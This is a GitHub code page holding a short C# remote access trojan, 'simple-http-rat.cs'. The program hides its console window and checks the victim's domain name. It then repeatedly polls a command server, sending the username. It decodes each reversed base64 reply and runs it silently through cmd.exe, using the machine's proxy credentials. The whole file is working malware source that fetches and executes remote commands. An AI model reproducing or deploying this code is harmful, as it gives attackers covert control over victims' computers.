-
Notifications
You must be signed in to change notification settings - Fork 139
/
simple-http-rat.cs
81 lines (70 loc) · 2.56 KB
/
simple-http-rat.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Threading;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
namespace CSharpUtility
{
class Program
{
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr VAR102, UInt32 VAR101);
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
static void Execute(string cmd)
{
try
{
Process p = new Process();
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.UseShellExecute = false;
startInfo.FileName = "cmd.exe";
startInfo.CreateNoWindow = true;
startInfo.Arguments = "/c " + cmd;
p.StartInfo = startInfo;
p.Start();
}
catch (Exception e)
{
}
}
static void Main(string[] args)
{
string url = args.Length > 1 ? args[0] : "URL";
string currentMd5 = "";
ShowWindow(GetConsoleWindow(), 0);
if (Environment.GetEnvironmentVariable("USERDOMAIN") == "CHANGEME")
{
WebClient client = new WebClient();
IWebProxy defaultProxy = WebRequest.DefaultWebProxy;
if (defaultProxy != null)
{
defaultProxy.Credentials = CredentialCache.DefaultCredentials;
client.Proxy = defaultProxy;
}
while (true)
{
byte[] cmd = client.DownloadData(url + "?" + Environment.GetEnvironmentVariable("USERNAME"));
Array.Reverse(cmd, 0, cmd.Length);
string run = Encoding.ASCII.GetString(Convert.FromBase64String(Encoding.ASCII.GetString(cmd)));
MD5 md5 = MD5.Create();
string md5Result = Encoding.ASCII.GetString(md5.ComputeHash(Encoding.ASCII.GetBytes(run)));
if (!md5Result.Equals(currentMd5))
{
if (run.Length > 0)
{
Thread t = new Thread(() => Execute(run));
t.Start();
Thread.Sleep(10000);
}
}
currentMd5 = md5Result;
}
}
}
}
}